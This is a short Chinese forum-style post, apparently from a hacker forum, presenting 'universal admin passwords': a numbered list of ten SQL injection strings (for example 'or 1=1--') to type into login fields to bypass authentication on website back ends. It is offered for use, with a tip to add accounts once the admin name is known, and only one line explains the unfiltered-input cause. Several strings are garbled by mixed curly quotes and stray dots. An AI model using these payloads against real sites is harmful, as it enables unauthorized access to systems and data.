015 网站后台万能密码

黑客反病毒论坛 http://bbs.hackav.com

就是在用户名与密码处都写入下列字符,如果知道管理员帐号的话直接添帐号,效果会更好!

例如我们要利用第一条就是:

用户名:"or “a”="a

密码:"or “a”="a

---

1："or “a”="a
2： ‘.).or.(’.a.’=’.a
3：or 1=1–
4：‘or 1=1–
5：a’or’ 1=1–
6："or 1=1–
7：‘or.‘a.’=‘a
8：“or”="a’=‘a
9：‘or’’=’
10：‘or’=‘or’

原理都是利用SQL语法来利用注入,其实这也是注入的一种,都是因为提交字符未加过滤或过滤不严而导致的.